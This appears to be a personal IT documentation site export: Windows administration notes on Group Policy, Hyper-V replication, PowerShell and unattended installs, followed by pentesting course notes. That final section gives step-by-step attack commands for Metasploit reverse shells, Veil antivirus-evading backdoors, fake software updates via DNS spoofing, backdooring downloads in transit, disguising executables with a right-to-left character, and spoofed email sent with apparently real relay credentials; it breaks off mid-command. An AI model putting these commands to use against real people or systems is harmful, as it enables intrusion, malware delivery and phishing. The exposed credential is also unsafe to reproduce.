5. Add `C:\bginfo\name.bgi /SILENT /TIMER:0 /NOCLIENTPROMPT` to the argument field in the shortcut property in Group Policy Management.
## Disable Sound
Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following:
## Disable UAC
## Lock Computers When Idle
## Internet Explorer Settings
### Favourites for Intranet
Under *Computer Configuration*, under *Preferences*, under *Windows Settings*, under *Shortcuts*, do the following:
### Homepage
### Trusted Sites Zone
## License Server - Point TS to License Server
Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following:
## Mapped Drives
Under *User Configuration*, under *Preferences*, under *Windows Settings*, under *Drive Maps*, do the following:
## Remote Assistance
Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following:
## WSUS
Under *Computer Configuration*, under *Policies*, under *Administrative Templates*, do the following:
---
# Hyper-V
Source: docs/computing/microsoft/hyperv.md
URL: https://docs.calebsargeant.com/computing/microsoft/hyperv/
## Folder Locations
``` powershell
Configuration files: C:\ProgramData\Microsoft\Windows\Hyper-V
Virtual Hard Disk (VHD) Files: C:\Users\Public\Documents\Hyper-V\Virtual Hard Disks
```
## Creating a Snapshot
A very duh thing to add, but anyway:
Go to *Hyper-V Manager*, right click on the VM, click on *Checkpoint*.
## Replication
``` powershell
# On the Primary
New-SelfSignedCertificate -DnsName "HV01" -CertStoreLocation "cert:\LocalMachine\My" -TestRoot
New-SelfSignedCertificate -DnsName "HV02" -CertStoreLocation "cert:\LocalMachine\My" -TestRoot
# There will be a cert in Intermediate, copy this to Root certs
# Copy the certs to the secondary, import into Personal and Root
# On the Replica:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\Replication" /v DisableCertRevocationCheck /d 1 /t REG_DWORD /f
```
## VM Failover
### Certificate Installation
This should already be in place, however, if you are receiving errors, you can set up the connection between the hypervisors again. In the below code, we are creating certificates for HYPERVISOR-02 and HYPERVISOR-01, so that we can enable replication between the two. The below certificates are computer-based certificates.
Generating the Root Certificate
``` powershell
New-SelfSignedCertificate -Type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01_to_HYPERVISOR-02-Replication" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "Signature" -KeyUsage "CertSign" -NotAfter (Get-Date).AddYears(10)
```
Generating the Cert for HYPERVISOR-02
``` powershell
New-SelfSignedCertificate -type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "KeyExchange" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.1,1.3.6.1.5.5.7.3.2") -Signer "Cert:LocalMachine\My\6C435EE329087825553189D38CD29BEC9E124AB0" -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddYears(10)
```
Generating the Cert for HYPERVISOR-01
``` powershell
New-SelfSignedCertificate -Type "Custom" -KeyExportPolicy "Exportable" -Subject "CN=HYPERVISOR-01_to_HYPERVISOR-02-Replication" -CertStoreLocation "Cert:\LocalMachine\My" -KeySpec "Signature" -KeyUsage "CertSign" -NotAfter (Get-Date).AddYears(10)
```
Place this certificate on both hosts in the Personal store.
Copy the certificates to the other hypervisor and import the certificates. Note that the root certificate needs to be in the Trusted Root Certification Authorities store and the other certificates need to be in the Personal store.
Disable Certificate Revocation Check on the hypervisor, as the certificates are self-signed.
``` bat
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\Replication" /v DisableCertRevocationCheck /d 1 /t REG_DWORD /f
```
### Enabling Replication
Right click on the Virtual Machine and click on *Enable Replication...*
Specify the Replica Server
Specify the Connection Parameters. Select the imported certificate.
Accept the defaults and Finish
### Failing Over
There are two types of Failovers, as described below.
**Planned Failover**
A Planned Failover is when the *Primary Virtual Machine* is still online and active, and you would like to make the other hypervisor the host for the virtual machine, or you would like to test that the failover would work.
Executing a Planned Failover
Power down the Virtual Machine, so that you can failover.
On the primary host, right click on the Virtual Machine and click on *Replication \> Planned Failover...*
Leave the *Reverse the replication direction after failover* unchecked, because you will receive the below error.
Instead, ensure that only *Start the Replica virtual machine after failover* is checked. Click on *Fail Over*.
On the secondary host (note that the VM on this host is still the *Replica* or secondary), right click on the Virtual Machine and click on *Replication \> Failover...* This is to complete the failover process.
This time you can check both boxes. This will make the secondary host primary, by designating the *Replica* as the *Primary* and vice versa. If you leave the *Reverse the replication direction after failover* checkbox unchecked, you will have to go through the *Reverse Replication Wizard*(right click on the *VM \> Replication \> Reverse Replication...*), which is similar to [Enabling Replication](#enabling-replication). You would leave it unchecked if you want to keep the roles of the VMs the same (*Primary* as Primary and *Replica* as *Replica*). It is to be noted that to get the VM running on the old primary host again (in this case HYPERVISOR-01), you will need to reverse replication. It is, therefore, recommended that you check both boxes. *Reverse Replication* basically switches the roles around.
**Unplanned Failover**
An unplanned failover is when the hypervisor hosting the *Primary* Virtual Machine becomes unreachable (due to power failure, natural disaster, etc), and you would like to start the *Replica* Virtual Machine to keep the services that the server was running online. An unplanned failover assumes that the primary host is unrecoverable and that the *Primary* Virtual Machine is lost completely.
Executing an Unplanned Failover
Right click on the *Replica* Virtual Machine, click on *Replication \> Failover...*
Read the screen, as it mentions the difference between planned and unplanned failover. Select your recovery point (usually the latest). Click on *Fail Over*.
**Post Failover Steps**
When the VM has been moved to the secondary host, you will need to change its IP Address (if static) and change the DNS record accordingly.
---
# Microsoft
Source: docs/computing/microsoft/index.md
URL: https://docs.calebsargeant.com/computing/microsoft/
---
# PowerShell
Source: docs/computing/microsoft/powershell.md
URL: https://docs.calebsargeant.com/computing/microsoft/powershell/
## For Loop
``` powershell
$letterArray = "a","b","c","d"
foreach ($letter in $letterArray)
{
Write-Host $letter
}
```
## Removing Files
``` powershell
Remove-Item C:\Test\*.*
```
## Renaming Files
``` powershell
Rename-Item -Path "c:\logfiles\daily_file.txt" -NewName "monday_file.txt"
```
## Get Date
``` powershell
$date = get-date -format yyyymmdd
```
## Send Email
Save the PSCredential in a file:
``` powershell
$credential = Get-Credential
$credential | Export-CliXml -Path 'C:\My\Path\cred.xml'
$credential = Import-CliXml -Path 'C:\My\Path\cred.xml'
```
``` powershell
##############################################################################
$From = "YourEmail@gmail.com"
$To = "AnotherEmail@YourDomain.com"
$Cc = "YourBoss@YourDomain.com"
$Attachment = "C:\temp\Some random file.txt"
$Subject = "Email Subject"
$Body = "Insert body text here"
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
Send-MailMessage -From $From -to $To -Cc $Cc -Subject $Subject `
-Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl `
-Credential (Get-Credential) -Attachments $Attachment
##############################################################################
```
## Random
``` powershell
# If error?
if ($error.count -ne 0) {
Write-Host -ForegroundColor Red "Uh-oh! $MyVar."
Write-Host -ForegroundColor White -BackgroundColor Black "The error was:"
Write-Host $error[0]
Write-Host -ForegroundColor White -BackgroundColor Black "Oh no!"
return
}
# Continue past errors
$ErrorActionPreference = 'SilentlyContinue'
```
## Multipart/form-data
``` powershell
# Initiate multipartContent
$multipartContent = [System.Net.Http.MultipartFormDataContent]::new()
$stringHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data")
$stringHeader.Name = "GivenName"
$StringContent = [System.Net.Http.StringContent]::new("Mark")
$StringContent.Headers.ContentDisposition = $stringHeader
$multipartContent.Add($stringContent)
$stringHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data")
$stringHeader.Name = "Surname"
$StringContent = [System.Net.Http.StringContent]::new("Kraus")
$StringContent.Headers.ContentDisposition = $stringHeader
$multipartContent.Add($stringContent)
$multipartFile = 'C:\pics\profile.png'
$FileStream = [System.IO.FileStream]::new($multipartFile, [System.IO.FileMode]::Open)
$fileHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data")
$fileHeader.Name = "ProfilePic"
$fileHeader.FileName = 'profile.png'
$fileContent = [System.Net.Http.StreamContent]::new($FileStream)
$fileContent.Headers.ContentDisposition = $fileHeader
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("image/png")
$multipartContent.Add($fileContent)
$multipartFile = 'C:\music\LinkinPark_CrawlingInMySkin.midi'
$FileStream = [System.IO.FileStream]::new($multipartFile, [System.IO.FileMode]::Open)
$fileHeader = [System.Net.Http.Headers.ContentDispositionHeaderValue]::new("form-data")
$fileHeader.Name = "BackGroundMusic"
$fileHeader.FileName = 'LinkinPark_CrawlingInMySkin.midi'
$fileContent = [System.Net.Http.StreamContent]::new($FileStream)
$fileContent.Headers.ContentDisposition = $fileHeader
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("audio/midi")
$multipartContent.Add($fileContent)
Invoke-RestMethod -Uri $uri -Body $multipartContent -Method 'POST'
```
---
# Robocopy
Source: docs/computing/microsoft/robocopy.md
URL: https://docs.calebsargeant.com/computing/microsoft/robocopy/
``` bat
robocopy c:\Sourcepath c:\Destpath /E /XC /XN /XO /XD c:\sourcepath\excludeme
:: /E makes Robocopy recursively copy subdirectories, including empty ones.
:: /XC excludes existing files with the same timestamp, but different file sizes. Robocopy normally overwrites those.
:: /XN excludes existing files newer than the copy in the source directory. Robocopy normally overwrites those.
:: /XO excludes existing files older than the copy in the source directory. Robocopy normally overwrites those.
:: With the Changed, Older, and Newer classes excluded, Robocopy will exclude files existing in the destination directory.
:: /XD excludes a specified directory
:: /R:n indicates number of retries on failed copies, such as those encountering on open files. By default RoboCopy retries for 1 million times.
:: /W:n indicates the wait time between retries. By default it is 30 seconds. If you want RoboCopy to skip any failed copy quickly, reduce it to lesser amount.
:: ( robocopy C:\ D:\ /w:1 /r:1 )
robocopy c:\users\username z:\Backups\username /E /XC /XN /XO /XD
robocopy e:\WindowsImageBackup\C2BHV03 \\10.0.0.104\Z\C2BHV03 /MIR /np | tee-object -filepath $backuplog
```
---
# Sendkeys
Source: docs/computing/microsoft/sendkeys.md
URL: https://docs.calebsargeant.com/computing/microsoft/sendkeys/
Most keys can be represented by the character of the key itself. E.g, the key sequence FRED can be represented simply by "FRED". Some special keys, such as the control keys, function keys etc are encoded in a string enclosed by {braces} See the table below
\## TABLE Key SendKey Equivalent Description ~ {~} send a tilde (~) ! {!} send an exclamation point (!) ^ {^} send a caret (^) + {+} send a plus sign (+) Alt {ALT} send an Alt keystroke Backspace {BACKSPACE} send a Backspace keystroke Clear {CLEAR} Clear the field Delete {DELETE} send a Delete keystroke Down Arrow {DOWN} send a Down Arrow keystroke End {END} send an End keystroke Enter {ENTER} send an Enter keystroke Escape {ESCAPE} send an Esc keystroke F1 through F16 {F1} through {F16} send the appropriate Function key Page Down {PGDN} send a Page Down keystroke Space {SPACE} send a Spacebar keystroke Tab {TAB} send a Tab keystroke \## END TABLE
To specify keys combined with any combination of SHIFT, CTRL, and ALT keys, precede the key code with one or more of the following:
> For SHIFT prefix with + For CTRL prefix with ^ For ALT prefix with %
Example ' Open notepad Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad", 9 ' Give Notepad time to load WScript.Sleep 500 'type in Hello World WshShell.SendKeys "Hello World!" WshShell.SendKeys "{ENTER}"
---
# Configuration
Source: docs/computing/microsoft/server/configuration.md
URL: https://docs.calebsargeant.com/computing/microsoft/server/configuration/
A glob of installation and configuration images.
---
# Server
Source: docs/computing/microsoft/server/index.md
URL: https://docs.calebsargeant.com/computing/microsoft/server/
---
# Terminal Services
Source: docs/computing/microsoft/server/terminal-services.md
URL: https://docs.calebsargeant.com/computing/microsoft/server/terminal-services/
)
## Add a TS to TS License Server
## Add TS to TSBroker Farm
---
# Configuration
Source: docs/computing/microsoft/sharepoint/configuration.md
URL: https://docs.calebsargeant.com/computing/microsoft/sharepoint/configuration/
A glob of installation and configuration images.
## Example 1
## Example 2
## Example 3
## Example 4
---
# SharePoint
Source: docs/computing/microsoft/sharepoint/index.md
URL: https://docs.calebsargeant.com/computing/microsoft/sharepoint/
---
# Configuration
Source: docs/computing/microsoft/sql-server/configuration.md
URL: https://docs.calebsargeant.com/computing/microsoft/sql-server/configuration/
A glob of installation and configuration images.
## Example 1
## Example 2
---
# SQL Server
Source: docs/computing/microsoft/sql-server/index.md
URL: https://docs.calebsargeant.com/computing/microsoft/sql-server/
---
# Unattended Installations
Source: docs/computing/microsoft/unattended.md
URL: https://docs.calebsargeant.com/computing/microsoft/unattended/
Brief Instructions on how to create a Windows unattended disk that allow you to:
- Put in the disk
- Boot from disk
- Make some coffee
- Come back and OS is installed
**Important:**
If you make an Unattended disk for 32-bit, and your physical PC where you are installing WAIK on is 64-bit then you cannot make a disk for 32-bit. You can however use something like Oracle VM Virtualbox and install Windows 32-bit virtually.
## Windows 7 - 10
1. Install [WAIK:](https://www.microsoft.com/en-us/download/details.aspx?id=5753) (Remember to use the WAIK relevant to your OS version)
2. Copy Windows onto the local harddrive
3. Open *Windows System Image Manager*
4. *File* \> *Select Windows Image* \> Browse to location of copied OS
5. Select the desired Image
6. Generate the catalog
7. *File* \> *New Answer File*
8. Click the plus by Components
9. Follow the below
> - [Server 2012](#server-2012)
> - [Server 2008 R2](#server-2008-r2)
> - [Windows 7 64-bit](#windows-7-64-bit)
> - [Windows 7 32-bit](#windows-7-32-bit)
10. Save the *autounattend.xml* file to the root of the copied OS
11. Use ImgBurn to Write a Bootable ISO
> 1. Click *Advanced* \> *Bootable Disk* \> *Make Image Bootable*
> 2. Boot Image: `\boot\etfsboot.com`
### Server 2012
### Server 2008 R2
### Windows 7 64-bit
### Windows 7 32-bit
## Windows XP
Instructions:
1. Download and install nLite
2. Copy contents of Windows XP Disk to Harddrive
3. Open nLite
4. Locate the copied Windows XP files
5. Integrate updates and drivers if you want
6. At Unattended section
> 1. Fully automated
> 2. Enabled
> 3. XXXXX-XXXXX-XXXXX-XXXXX-XXXXX (please change when activating Windows)
> 4. Automatic
> 5. Turn off Firewall
> 6. Skip OOBE
> 7. Turn off Hibernate
> 8. System Restore Service Enabled
7. At Users section
> 1. Add an account
> 2. Username: admin
> 3. Password: 1234567
> 4. Local Group: Administrators
8. At Owner and Network ID
> 1. Computer Name: windowsxp
> 2. Workgroup: WORKGROUP
> 3. Full Name: Admin
> 4. Organization: Organization
9. At Regional section
> 1. Language: English (South Africa)
> 2. Localization: English (United States)
> 3. Keyboard: US
> 4. Location: South Africa
> 5. Time Zone: (GMT +02{00) Harare, Pretoria
10. At Automatic Updates
> 1. Download and notify of installation
11. Tweek the disk if you want
12. Start the Process and close nLite
13. Edit \[copied xp location\]I386winnt.sif
> 1. under \[Unattended\] put: "Repartition = "Yes""
> 2. under \[Data\] put: "AutoPartition = 1"
14. Open nLite again and go straight to Bootable ISO
15. Make a Bootable ISO with nLite
16. Use ImgBurn to write ISO to disk.
---
# Gaining Access
Source: docs/computing/pentesting/gaining-access.md
URL: https://docs.calebsargeant.com/computing/pentesting/gaining-access/
## Introduction
### Everything is a Computer
Two main approaches
Server Side
- Do not require user interaction, all we need is a target IP
- Start with information gathering, find open ports, OS, installed services, and work from there
Client Side
- Require user interaction, such as opening a file, a link
- Information gathering is key here, create a trojan and use social engineering to get the target to run it.
## Server-Side Attacks
- Need an IP Address
- Very simple if target is on the same network (netdiscover or zenmap)
- If target has a domain, then a simple ping will return its IP
- Getting the IP is trickier if the target is a personal computer, might be useless if the target is accessing the internet through a network as the IP will be the router and not the targets, client side attacks are more effective in this case asa reverse connection can be used.
### Basic Information Gathering & Exploitation
- Try default password
- Services might be mis-configured, such as the "r" service. Ports 512, 513, 514
- Some might even contain a back door!
- Code execution vulnerabilities
### Analysing Trojans
- Check properties of the file
- Is it what it seems to be
- Run the file in a virtual machine and check resources
- Use an online sandbox service ()
### Using the Above Attacks Outside the Network
- All of the server-side and client-side attacks work outside the network.
- You just need to configure the connection properly.
This can be done using:
- Port forwarding through the router
- Installing Kali / tools on the cloud
- Port forwarding using SSH
- Tunneling services
### Metasploit
Metasploit is an exploit development and execution tool. It can also be used to carry out other penetration testing tasks such as port scans, service identification and post exploitation tasks.
You can Google the open ports exploits and copy the exploit name from rapid7.com to get the exploit name.
- `msfconsole` - runs the metasploit console
- `help` - shows help
- `show [something]` - something can be exploits, payloads, auxiliaries or options.
- `use [something]` - use a certain exploit, payload or auxiliary.
- `set [option] [value]` - configure \[option\] to have value of \[value\]
- `exploit` - runs the current task
Example:
``` bash
msfconsole
use exploit/multi/samba/usermap_script
show options
set RHOST 10.20.14.204
show options
show payloads
set PAYLOAD cmd/unix/reverse_netcat
show options
set LHOST 10.20.14.203
exploit
```
### Nexpose
Vulnerability Management Framework
- Discover open ports and running services
- Find vulnerabilities
- Find exploits
- Verify them
- Generate reports
- Automate scans
### Conclusion
The general steps are always the same!
1. Discover open ports and running services
2. Find vulnerabilities
3. Find exploits
4. Exploit / verify
5. Report
## Client-Side Attacks
- Use if server side attacks fail
- If IP is probably useless
- Requires user interaction
- Social engineering can be very useful
- Information gathering is vital
### Veil - Framework
- A backdoor is a file that gives us full control over the macine that it gets executed on
- Backdoors can be caught by Anti-Virus programs
- Veil is a framework for generating undetectable backdoors
### Veil Overview & Generating Backdoor
``` bash
use 1
list
use 15
set LHOST 10.20.14.213
set LPORT 8080
options
set PROCESSORS 1
set SLEEP 6
generate
rev_https_8080
```
- Google nodistribute
- Upload the file
- See the program being undetected from antivirus programs
### Listening for Incoming Connections
``` bash
msfconsole
use exploit/multi/handler
show options
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.20.14.213
set LPORT 8080
show options
exploit
```
### Delivery Method
- Put your backdoor file in /var/www/html in Kali
- service apache2 start
- Browse, download and start the exe file on Windows
- Simple method which wont work see below
### Windows 10 Fake Updates
- Fake an update for an already installed program
- Install backdoor instead of the update
- Requires DNS spoofing + Evilgrade (a server to serve the update)
1. Download and install Evilgrade
> - Download Evilgrade.zip
> - Go to the downloads and boule click evilgrade.zip to uncompress it.
> - Open a terminal and run the following commands:
``` bash
cd /root/Downloads/evilgrade/
cpan Data::Dump
cpan Digest::MD5
cpan Time::HiRes
cpan RPC::XML
cp -r isrcore /etc/perl
```
Now the tool will work, it might display an error about Gnu.pm this is a known bug with evil-grade, if its annoying you the you can get rid of it using the by removing that lib using the following command
`apt-get remove libterm-readline-gnu-perl`
Just make sure you re-install it after you're done in case it is needed by other tools
`apt-get install libterm-readline-gnu-perl`
2. Start Evilgrade (`./configure`)
3. Check programs that can be hijacked (`show modules`)
4. Select one (`configure [module]`)
5. Set backdoor location (`set agent [agent location]`)
6. Start Server (`start`)
7. Start dns spoofing and handler
``` bash
# Once in evilgrade:
cd /opt/evilgrade
./evilgrade
show options
configure dap
show options
set agent /var/www/html/backdoor.exe
set endsite www.speedbit.com
show options
start
# Become MITM
bettercap -iface eth0 -caplet /root/spoof.cap
set dns.spoof.all true
set.spoof.domains update.speedbit.com
dns.spoof on
# Listen for connections
# Then wait for the user to look for updates
```
### Backdoor Windows 10 Downloads on the Fly
- Backdoor any exe the target downloads
- We need to be MITM
1. Set IP Address in config (`leafpad /etc/bdfproxy/bdfproxy.cfg`)
``` bash
proxyMode = transparent
# Windows
HOST = 10.0.2.15
```
2. Start bdfproxy (`bdfproxy`)
``` bash
cd /opt/BDFProxy
./bdf_proxy.py
```
3. Redirect traffic to bdfproxy (`iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080`)
4. Start listening for connections (`msfconsole -r /usr/share/bdfproxy/bdf_proxy_msf_resource.rc`)
5. Start arp spoofing
### Protecting Yourself Against Smart Delivery Methods
- Ensure you're not being MITMed - use trusted networks, xarp
- Only download from HTTPS pages
- Check file MD5 after download -
## Social Engineering
- Gather info about the users
- Build a strategy based on the info
- Build a backdoor based on the info
### Maltego
Maltego is an information gathering tool that can be used to collect information about anything.
- Target can be a website, company, person, etc.
- Discover entities associated with target
- Display info on a graph
- Come up with an attack strategy
### Backdooring any File
- Combine backdoor with any file - generic solution
- Users are more likely to run a pdf, image, or audio file than an executable
- Works well with social engineering
- How?
> - Use a download and execute payload that would:
>
> > - Download a normal file (image, pdf, etc) and display it to the user
> > - Download the evil file and execute it in the background
- Use autoit to compile the backdoor file
- Use right to left character (search for character in Kali) and replace .exe with gpj.exe and paste the special character after the name of the file
### Fake Emails
- Send fake emails
- Looks like its sent from any address
- Pretend to be a friend, company, boss, etc.
- Friend - Ask them to open a file (image, pdf, etc.)
- Support member - ask to login to control panel using fake login page
- Support member - ask to run a command on a server
- Ask to visit a normal web page
- etc.
```
sendemail -xu jhnwck70@gmail.com -xp CBPr90hgSDUHL2vF -s smtp-relay.sendinblue.com:587 -f "user@company.com" -t "target@company.com" -u "Check out this car" -m "Hey, checkout this car https://url.com/link-to-file-download.jpg" -o message-header="From: Name Surname